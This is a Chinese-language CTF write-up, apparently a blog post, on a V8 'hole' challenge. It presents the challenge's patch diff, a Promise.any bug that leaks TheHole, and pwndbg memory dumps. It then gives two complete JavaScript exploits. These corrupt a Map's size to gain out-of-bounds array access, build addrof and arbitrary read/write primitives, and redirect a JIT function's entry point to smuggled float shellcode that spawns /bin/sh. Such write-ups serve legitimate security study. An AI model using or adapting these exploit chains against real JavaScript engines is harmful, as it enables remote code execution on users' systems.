0%

V8+hole attack+Property

hole

1
2
3
4
5
6
d8: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[xxHash]=101a73109e1e8a0a, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
git reset --hard 247b33e9218a9345f0073f45b967530b38153272 
gclient sync
git apply diff
tools/dev/gm.py x64.release

程序提供了 diff 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index f6238e3072..17821d3124 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1765,7 +1765,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
"Map.prototype.delete");

// This check breaks a known exploitation technique. See crbug.com/1263462
- CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+ // CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));

const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
diff --git a/src/compiler/js-native-context-specialization.cc b/src/compiler/js-native-context-specialization.cc
index 39302152ed..3193065d7d 100644
--- a/src/compiler/js-native-context-specialization.cc
+++ b/src/compiler/js-native-context-specialization.cc
@@ -29,13 +29,12 @@
#include "src/objects/feedback-vector.h"
#include "src/objects/heap-number.h"
#include "src/objects/string.h"
-
+int times=1;
namespace v8 {
namespace internal {
namespace compiler {

namespace {
-
bool HasNumberMaps(JSHeapBroker* broker, ZoneVector<MapRef> const& maps) {
for (MapRef map : maps) {
if (map.IsHeapNumberMap()) return true;
@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
// with this transitioning store.
MapRef transition_map_ref = transition_map.value();
MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
- if (original_map.UnusedPropertyFields() == 0) {
+ if (original_map.UnusedPropertyFields() == 0 && times--==0) {
DCHECK(!field_index.is_inobject());

// Reallocate the properties {storage}.
diff --git a/src/d8/d8-posix.cc b/src/d8/d8-posix.cc
index c2571ef3a0..99f0e76234 100644
--- a/src/d8/d8-posix.cc
+++ b/src/d8/d8-posix.cc
@@ -734,20 +734,20 @@ char* Shell::ReadCharsFromTcpPort(const char* name, int* size_out) {
}

void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
- if (options.enable_os_system) {
- os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
- }
- os_templ->Set(isolate, "chdir",
- FunctionTemplate::New(isolate, ChangeDirectory));
- os_templ->Set(isolate, "setenv",
- FunctionTemplate::New(isolate, SetEnvironment));
- os_templ->Set(isolate, "unsetenv",
- FunctionTemplate::New(isolate, UnsetEnvironment));
- os_templ->Set(isolate, "umask", FunctionTemplate::New(isolate, SetUMask));
- os_templ->Set(isolate, "mkdirp",
- FunctionTemplate::New(isolate, MakeDirectory));
- os_templ->Set(isolate, "rmdir",
- FunctionTemplate::New(isolate, RemoveDirectory));
+// if (options.enable_os_system) {
+// os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
+// }
+// os_templ->Set(isolate, "chdir",
+// FunctionTemplate::New(isolate, ChangeDirectory));
+// os_templ->Set(isolate, "setenv",
+// FunctionTemplate::New(isolate, SetEnvironment));
+// os_templ->Set(isolate, "unsetenv",
+// FunctionTemplate::New(isolate, UnsetEnvironment));
+// os_templ->Set(isolate, "umask", FunctionTemplate::New(isolate, SetUMask));
+// os_templ->Set(isolate, "mkdirp",
+// FunctionTemplate::New(isolate, MakeDirectory));
+// os_templ->Set(isolate, "rmdir",
+// FunctionTemplate::New(isolate, RemoveDirectory));
}

} // namespace v8
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 3816d1ac99..695e770465 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3163,56 +3163,56 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {}

Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
- String::NewFromUtf8Literal(isolate, "global"));
- global_template->Set(isolate, "version",
- FunctionTemplate::New(isolate, Version));
+ // global_template->Set(Symbol::GetToStringTag(isolate),
+ // String::NewFromUtf8Literal(isolate, "global"));
+ // global_template->Set(isolate, "version",
+ // FunctionTemplate::New(isolate, Version));

global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write",
- FunctionTemplate::New(isolate, WriteStdout));
- global_template->Set(isolate, "read",
- FunctionTemplate::New(isolate, ReadFile));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no way
- // we can terminate cleanly then, so we need a way to hide 'quit'.
- if (!options.omit_quit) {
- global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
- }
- global_template->Set(isolate, "testRunner",
- Shell::CreateTestRunnerTemplate(isolate));
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
- // Prevent fuzzers from creating side effects.
- if (!i::FLAG_fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
-#ifdef V8_FUZZILLI
- global_template->Set(
- String::NewFromUtf8(isolate, "fuzzilli", NewStringType::kNormal)
- .ToLocalChecked(),
- FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
-#endif // V8_FUZZILLI
-
- if (i::FLAG_expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
+ // global_template->Set(isolate, "printErr",
+ // FunctionTemplate::New(isolate, PrintErr));
+ // global_template->Set(isolate, "write",
+ // FunctionTemplate::New(isolate, WriteStdout));
+ // global_template->Set(isolate, "read",
+ // FunctionTemplate::New(isolate, ReadFile));
+ // global_template->Set(isolate, "readbuffer",
+ // FunctionTemplate::New(isolate, ReadBuffer));
+ // global_template->Set(isolate, "readline",
+ // FunctionTemplate::New(isolate, ReadLine));
+ // global_template->Set(isolate, "load",
+ // FunctionTemplate::New(isolate, ExecuteFile));
+// global_template->Set(isolate, "setTimeout",
+// FunctionTemplate::New(isolate, SetTimeout));
+// // Some Emscripten-generated code tries to call 'quit', which in turn would
+// // call C's exit(). This would lead to memory leaks, because there is no way
+// // we can terminate cleanly then, so we need a way to hide 'quit'.
+// if (!options.omit_quit) {
+// global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+// }
+// global_template->Set(isolate, "testRunner",
+// Shell::CreateTestRunnerTemplate(isolate));
+// global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
+// global_template->Set(isolate, "performance",
+// Shell::CreatePerformanceTemplate(isolate));
+// global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
+
+// // Prevent fuzzers from creating side effects.
+// if (!i::FLAG_fuzzing) {
+// global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
+// }
+// global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
+
+// #ifdef V8_FUZZILLI
+// global_template->Set(
+// String::NewFromUtf8(isolate, "fuzzilli", NewStringType::kNormal)
+// .ToLocalChecked(),
+// FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
+// #endif // V8_FUZZILLI
+
+// if (i::FLAG_expose_async_hooks) {
+// global_template->Set(isolate, "async_hooks",
+// Shell::CreateAsyncHookTemplate(isolate));
+// }

if (options.throw_on_failed_access_check ||
options.noop_on_failed_access_check) {
  • 注释了 CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant())) 检查
  • 新填一个变量 times,修改了 if (original_map.UnusedPropertyFields() == 0) 的判断逻辑
  • 注释了一些库函数

漏洞分析

在 V8 中有如下的注释:

1
2
3
   // This check breaks a known exploitation technique. See crbug.com/1263462
- CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+ // CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));

在该网站中给出了一个 Poc:

1
2
3
4
5
6
7
8
9
let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
// %DebugPrint(m);
print(m.size);
  • 和 HITCON2022 hole 一样的 Poc

使用 GDB 进行调试:

1
set args --allow-natives-syntax --shell ./exp.js 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
d8> %DebugPrint(m);
DebugPrint: 0xecd00045801: [JSMap]
- map: 0x0ecd00202779 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0ecd001c4685 <Object map = 0xecd002027a1>
- elements: 0x0ecd00002251 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x0ecd000458a9 <OrderedHashMap[17]>
- properties: 0x0ecd00002251 <FixedArray[0]>
- All own properties (excluding elements): {}
0xecd00202779: [Map]
- type: JS_MAP_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0ecd000023d9 <undefined>
- prototype_validity cell: 0x0ecd00144415 <Cell value= 1>
- instance descriptors (own) #0: 0x0ecd000021e5 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x0ecd001c4685 <Object map = 0xecd002027a1>
- constructor: 0x0ecd001c4561 <JSFunction Map (sfi = 0xecd00157715)>
- dependent code: 0x0ecd000021d9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

[object Map]

当 Map.size 被改为 -1 时,程序的下一次 Map.set 就会向上溢出覆盖一些数据,我们的目标就是覆盖 capacity,OrderedHashMap 的一些重要元数据的粗略布局如下:

1
2
3
4
5
6
7
8
9
table + 0x10 => Map capacity (0x4) 
table + 0x14 => Bucket-0 data /* 0 */
table + 0x18 => Bucket-1 data /* 1 */
table + 0x1c => Entry-0 key (0x00002459) /* #hole */
table + 0x20 => Entry-0 value (0x00002459) /* #hole */
table + 0x24 => Entry-0 next_ptr
table + 0x28 => Entry-1 key (0x00000004) /* 2 */
table + 0x2c => Entry-1 value (0x0000408d) /* #b */
table + 0x30 => Entry-1 next_ptr
  • 程序会先预留 0x4 * capacity/2 的空间用于填充 Bucket data(存储桶数据)

执行 m.set(0x10,-1) 前:

1
2
3
4
5
6
pwndbg> x/20xw 0x0ecd000458a9-1
0xecd000458a8: 0x00002c21 0x00000022 0xfffffffe 0x00000000
0xecd000458b8: 0x00000004 0xfffffffe 0xfffffffe 0x000023d9
0xecd000458c8: 0x000023d9 0x000023d9 0x000023d9 0x000023d9
0xecd000458d8: 0x000023d9 0x000023d9 0x000023d9 0x000023d9
0xecd000458e8: 0x000023d9 0x000023d9 0x000023d9 0x000025cd

执行 m.set(0x10,-1) 后:

1
2
3
4
5
6
pwndbg> x/20xw 0x0ecd000458a9-1
0xecd000458a8: 0x00002c21 0x00000022 0x00000000 0x00000000
0xecd000458b8: 0x00000020 0xfffffffe 0xfffffffe 0x000023d9
0xecd000458c8: 0x000023d9 0x000023d9 0x000023d9 0x000023d9
0xecd000458d8: 0x000023d9 0x000023d9 0x000023d9 0x000023d9
0xecd000458e8: 0x000023d9 0x000023d9 0x000023d9 0x000025cd
  • 由于 Map 的容量被覆盖为32,这意味着存储桶扩展到16
  • 由于存储桶的扩展,元素指针 Entry 向后移动了 (16-2)*0x4 = 0x38 字节
  • 所以,之前映射键的第一个元素 Entry 存储在 table+0x1c 中,现在它将存储在 table+0x54 中,因此程序会把一些原本超出 Entry 范围的数据给当成是 Entry
  • 利用这一点就可以完成 array_oob

现在要考虑的问题就是,如何构造 %TheHole()

  • %TheHole() 只是 V8 为了方便调试而提供的 runtime 函数
  • v8 中内置了一些 runtime 函数,可以在启动 d8 时追加--allow-natives-syntax参数来启动内置函数的使用
  • 由于不记得比赛环境有没有添加 --allow-natives-syntax,这里就默认没有(PS:但在官方 wp 中是使用了 runtime 函数的,理论上来说是可以直接用 %TheHole() 的)

继续学习上面的文章可以找到如下 Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;

try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
  • 这个 Poc 不能直接使用,因为 hole 变量已经被禁止了

在官方 wp 中给出了另一篇文章:cve-2022-4174

在本篇文章中给出了如下的 Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let v1;
function f0(v4) {
v4(() => { }, v5 => {
v1 = v5.errors;
});
}
f0.resolve = function (v6) {
return v6;
};
let v3 = {
then(v7, v8) {
v8();
}
};
Promise.any.call(f0, [v3]);
console.log(v1[1]);
  • Promise 是 JS 中进行异步编程的新的解决方案
  • Promise.any 是一个 Promise 组合器,它将会迭代可迭代参数中的所有 Promise,使用“then”函数将它们组合成一个新的 Promise

这里简述一下此漏洞的原理:

  • 在迭代过程中,变量 remainingElementsCount 计算有多少输入 Promise
  • Promise.any 的行为是在所有输入 Promise 都被拒绝时拒绝组合的 Promise
  • 此变量 (remainingElementsCount) 由 reject handler 拒绝处理程序关闭:如果计数 == “0”,则组合承诺被拒绝
  • 剩余元素计数初始化为 “1”(不是 “0”),以便在迭代期间同步拒绝的第一个输入 Promise,而不会错误地拒绝组合 Promise(由于输入是可迭代对象,因此输入承诺的数量是预先未知的)
  • 每次迭代将剩余元素计数递增 “1”,在迭代结束时,剩余元素计数递减 “1”
  • 当组合 Promise 被拒绝时,它会被拒绝,并显示 AggregateError,而 AggregateError 又包含每个输入承诺拒绝的值数组
  • V8 的 Promise.any 实现懒惰地构造了这个错误数组,错误数组的新容量被错误地计算为 max(剩余元素计数,输入承诺的索引 “+1”)
  • 由于在输入迭代期间,剩余元素计数比真实值高 “1”,因此同步拒绝会创建一个大 “1” 个元素的错误数组,此元素永远不会分配给并保留未初始化的 TheHole 值,该值会泄漏到用户脚本

利用该 Poc 就可以构造 TheHole,配合之前的 Poc 就可以得到一个 size == -1 的 Map:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function trigger() {
let v1;
function f0(v4) {
v4(() => { }, v5 => {
v1 = v5.errors;
});
}
f0.resolve = function (v6) {
return v6;
};
let v3 = {
then(v7, v8) {
v8();
}
};
Promise.any.call(f0, [v3]);
return v1[1];
}
var c = [];
let theHole = trigger();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1);
m.set(0x10, -1);

接下来的利用就和 HITCON2022 hole 的思路一样了:

  • 执行 addrof(foo) 获取 foo 对象的地址
  • 使用 weak_read 获取 foo+0x18foo->code
  • 使用 weak_read 获取 foo->code+0x10foo->code->code_entry_point
  • 使用 weak_writefoo->code->code_entry_point 处覆盖上 foo->code->code_entry_point+shift_offset(其中 shift_offset 是起始 JIT 代码指令到走私的 shellcode 代码之间的距离)

相关的方法也是直接用 HITCON2022 hole exp 中的:

1
2
3
4
5
6
7
8
9
10
11
12
13
function addrof(in_obj) { /* 获取一个对象的地址 */
mask = (1n << 32n) - 1n
victim[0] = in_obj;
return ftoi(oob_arr[12]) & mask;
}
function weak_read(addr) { /* 任意读 */
oob_arr[37] = itof(0x600000000n+addr-0x8n);
return ftoi(read_gadget[0]);
}
function weak_write(addr, value) { /* 任意写 */
oob_arr[37] = itof(0x600000000n+addr-0x8n);
read_gadget[0] = itof(value);
}
1
2
3
4
5
6
7
8
9
function ftoi(val) { /* float转化为int */
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { /* int转化为float */
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

这个 foo 方法如下:

1
2
3
4
5
6
7
8
9
10
const foo = ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
  • JavaScript 中定义的浮点实际上是走私的 shellcode
  • 它将执行 sys_execve('/bin/sh')
  • 由于该函数被调用了很多次,因此 v8 将对代码进行 JIT(启用 TURBOFAN)

在 GDB 中打印它的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
d8> %DebugPrint(foo)
DebugPrint: 0x386f0024a785: [Function] in OldSpace
- map: 0x386f002022c9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x386f001c2899 <JSFunction (sfi = 0x386f00145e09)>
- elements: 0x386f00002251 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x386f001d1945 <SharedFunctionInfo foo>
- name: 0x386f001d14e9 <String[3]: #foo>
- formal_parameter_count: 0
- kind: ArrowFunction
- context: 0x386f001d1d91 <ScriptContext[4]>
- code: 0x386f001d242d <CodeDataContainer TURBOFAN>
- source code: ()=>
1
2
3
4
5
6
7
8
pwndbg> job 0x386f001d242d
0x386f001d242d: [CodeDataContainer] in OldSpace
- map: 0x386f00002a69 <Map[32](CODE_DATA_CONTAINER_TYPE)>
- kind: TURBOFAN
- is_off_heap_trampoline: 0
- code: 0x55a0a0004a01 <Code TURBOFAN> /* 指向jitted code区域(code + 0x8) */
- code_entry_point: 0x55a0a0004a40 /* 指向jitted code指令的开头(code + 0x10) */
- kind_specific_flags: 4
1
2
3
4
pwndbg> telescope 0x386f001d242d-1
00:00000x386f001d242c ◂— 0x23d900002a69 /* 'i*' */
01:00080x386f001d2434 —▸ 0x55a0a0004a01 ◂— add byte ptr es:[rax], al /* code */
02:00100x386f001d243c —▸ 0x55a0a0004a40 ◂— mov ebx, dword ptr [rcx - 0x30] /* code_entry_point */

我们的目标就是覆盖 code_entry_point,使其指向 shellcode:

1
2
3
4
pwndbg> telescope 0x386f001d242d-1
00:00000x386f001d242c ◂— 0x23d900002a69 /* 'i*' */
01:00080x386f001d2434 —▸ 0x55a0a0004a01 ◂— add byte ptr es:[rax], al /* '&' */
02:00100x386f001d243c —▸ 0x55a0a0004ab4 ◂— push 0x68732f /* 'h/sh' */
1
2
3
4
5
6
pwndbg> telescope 0x55a0a0004ab4
00:00000x55a0a0004ab4 ◂— push 0x68732f /* 'h/sh' */
01:00080x55a0a0004abc ◂— vmovq xmm0, r10
02:00100x55a0a0004ac4 ◂— cmovns edi, dword ptr [r10 + 0x69622f68]
03:00180x55a0a0004acc ◂— outsb dx, byte ptr [rsi]
04:00200x55a0a0004ad4 ◂— ret 0xfbc5

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
const foo = ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
function trigger() {
let v1;
function f0(v4) {
v4(() => { }, v5 => {
v1 = v5.errors;
});
}
f0.resolve = function (v6) {
return v6;
};
let v3 = {
then(v7, v8) {
v8();
}
};
Promise.any.call(f0, [v3]);
return v1[1];
}
var c = [];
let theHole = trigger();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1);
// %DebugPrint(m);

oob_arr = new Array(1.1, 2.2);
m.set(0x10, -1);
m.set(oob_arr, 0xffff);
victim = [{}, {}, {}, {}];
read_gadget = [1.1, 2.2, 3.3];
function addrof(in_obj) {
mask = (1n << 32n) - 1n
victim[0] = in_obj;
return ftoi(oob_arr[12]) & mask;
}
function weak_read(addr) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
return ftoi(read_gadget[0]);
}
function weak_write(addr, value) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
read_gadget[0] = itof(value);
}
f_foo = addrof(foo);
f_code = weak_read(f_foo+0x18n) & ((1n << 32n) - 1n);
f_code_code_entry_point = weak_read(f_code+0x10n);
weak_write(f_code+0x10n, f_code_code_entry_point+116n);
foo();

漏洞分析2

本题目还有另一种思路,先看第2个 patch 的信息:

1
2
3
-      if (original_map.UnusedPropertyFields() == 0) {
+ if (original_map.UnusedPropertyFields() == 0 && times--==0) {
DCHECK(!field_index.is_inobject());

在源码中找到更改的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Check if we need to perform a transitioning store.
base::Optional<MapRef> transition_map = access_info.transition_map();
if (transition_map.has_value()) {
// Check if we need to grow the properties backing store
// with this transitioning store.
MapRef transition_map_ref = transition_map.value();
MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
if (original_map.UnusedPropertyFields() == 0 && times--==0) {
DCHECK(!field_index.is_inobject());

// Reallocate the properties {storage}.
storage = effect = BuildExtendPropertiesBackingStore(
original_map, storage, effect, control);

// Perform the actual store.
effect = graph()->NewNode(simplified()->StoreField(field_access),
storage, value, effect, control);

// Atomically switch to the new properties below.
field_access = AccessBuilder::ForJSObjectPropertiesOrHashKnownPointer();
value = storage;
storage = receiver;
}
effect = graph()->NewNode(
common()->BeginRegion(RegionObservability::kObservable), effect);
effect = graph()->NewNode(
simplified()->StoreField(AccessBuilder::ForMap()), receiver,
jsgraph()->Constant(transition_map_ref), effect, control);
effect = graph()->NewNode(simplified()->StoreField(field_access), storage,
value, effect, control);
effect = graph()->NewNode(common()->FinishRegion(),
jsgraph()->UndefinedConstant(), effect);
} else {
  • 程序出自于 JSNativeContextSpecialization::BuildPropertyStore 函数
  • 第一次运行到这里时本来能进入逻辑部分,但是由于 times!=0 的原因,导致没有进入

这里我们先了解一下 UnusedPropertyFields 的作用:

  • 对象在进行 Property 存储的时候会先开辟一定容量的数组,有些空间并不会被立刻使用
  • UnusedPropertyFields 就用于记录未使用的内存,这样就可以判断属性是否越界了
  • UnusedPropertyFields == 0 时就意味着 Property 需要扩容,但由于 patch 导致程序扩容失效,最终导致 Property 越界

先看一个测试案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function SDD() {
class H {
['h']() {}
}
let h = H.prototype.h;
h['a'] = new Array(0x100);
h['b'] = new Array(0x100);
//h['c'] = new Array(0x100);
//h['d'] = new Array(0x100);
return h;
}
b=SDD();
c=SDD();

function foo(h, v) {
//h["a"] = v;
//h["b"] = v;
h["c"] = v;
h["d"] = v; /* 在此处进行扩容 */
}
%PrepareFunctionForOptimization(foo); /* 为JIT优化函数前做准备(为函数执行时,提供feedback栈) */
foo(b, 1e-100);
%OptimizeFunctionOnNextCall(foo); /* 告诉V8引擎对add函数进行优化 */
foo(c, 1e-100);
  • 这里的 PrepareFunctionForOptimizationOptimizeFunctionOnNextCall 是为了程序能调用 BuildPropertyStore(经过调试,发现只有这种情况能调用 BuildPropertyStore

GDB 打印数据:

1
2
- properties: 0x0faa0004b6f5 <PropertyArray[6]> /* b */
- properties: 0x0faa0004b219 <PropertyArray[3]> /* c */
  • 调试发现,对象 c 在执行 BuildPropertyStore 后,的确扩容失败了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> job 0x0faa0004b6f5 /* b */
0xfaa0004b6f5: [PropertyArray]
- map: 0x0faa00002d11 <Map(PROPERTY_ARRAY_TYPE)>
- length: 6
- hash: 0
0: 0x0faa0004a3d5 <JSArray[256]> // a
1: 0x0faa0004a851 <JSArray[256]> // b
2: 0x0faa0004b691 <HeapNumber 1e-100> // c
3: 0x0faa0004b715 <HeapNumber 1e-100> // d
4-5: 0x0faa000023d9 <undefined>
pwndbg> job 0x0faa0004b219 /* c */
0xfaa0004b219: [PropertyArray]
- map: 0x0faa00002d11 <Map(PROPERTY_ARRAY_TYPE)>
- length: 3
- hash: 0
0: 0x0faa0004ae01 <JSArray[256]> // a
1: 0x0faa0004b22d <JSObject> // b
2: 0x0faa0004b7c1 <HeapNumber 1e-100> // c

我们可以把 c.b[0] 给当做 %TheHole(),后面的操作就和前面的方法一样了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
var shellcode=new Uint8Array(100);
var buf=new ArrayBuffer(0x8);
var dv=new DataView(buf);
var u8=new Uint8Array(buf);
var u16=new Uint16Array(buf);
var b64=new BigUint64Array(buf);
var f64=new Float64Array(buf);
var u32 = new Uint32Array(buf);
function ftoi(val) {
f64[0] = val;
return BigInt(u32[0]) + (BigInt(u32[1]) << 32n);
}
function itof(val) {
u32[0] = Number(val & 0xffffffffn);
u32[1] = Number(val >> 32n);
return f64[0];
}
const exp = ()=>
{
return [
1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
exp();exp();exp();exp()
}
function SDD() {
class H {
['h']() {}
}
let h = H.prototype.h;
h['a'] = new Array(0x100);
h['b'] = new Array(0x100);
//h['c'] = new Array(0x100);
//h['d'] = new Array(0x100);
return h;
}
b=SDD();
c=SDD();

function foo(h, v) {
//h["a"] = v;
//h["b"] = v;
h["c"] = v;
h["d"] = v;
}
%PrepareFunctionForOptimization(foo);
foo(b, 1e-100);
%OptimizeFunctionOnNextCall(foo);
foo(c, 1e-100);

// %DebugPrint(b);
// %DebugPrint(c);
oob=c.b;

var m = new Map();
m.set(1, 1);
m.set(oob[0],1);
print(m.size);
m.delete(oob[0]);
m.delete(oob[0]);
m.delete(1);
print(m.size);
// %DebugPrint(m);

oob_arr = new Array(1.1, 2.2);

m.set(0x10, -1);
m.set(oob_arr, 0xffff);
victim = [{}, {}, {}, {}];
read_gadget = [1.1, 2.2, 3.3];
function addrof(in_obj) {
mask = (1n << 32n) - 1n
victim[0] = in_obj;
return ftoi(oob_arr[12]) & mask;
}
function weak_read(addr) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
return ftoi(read_gadget[0]);
}
function weak_write(addr, value) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
read_gadget[0] = itof(value);
}

f_exp = addrof(exp);
f_code = weak_read(f_exp+0x18n) & ((1n << 32n) - 1n);
f_code_code_entry_point = weak_read(f_code+0x10n);
weak_write(f_code+0x10n, f_code_code_entry_point+116n);
exp();

小结:

V8 的知识点真的很多,慢慢积累吧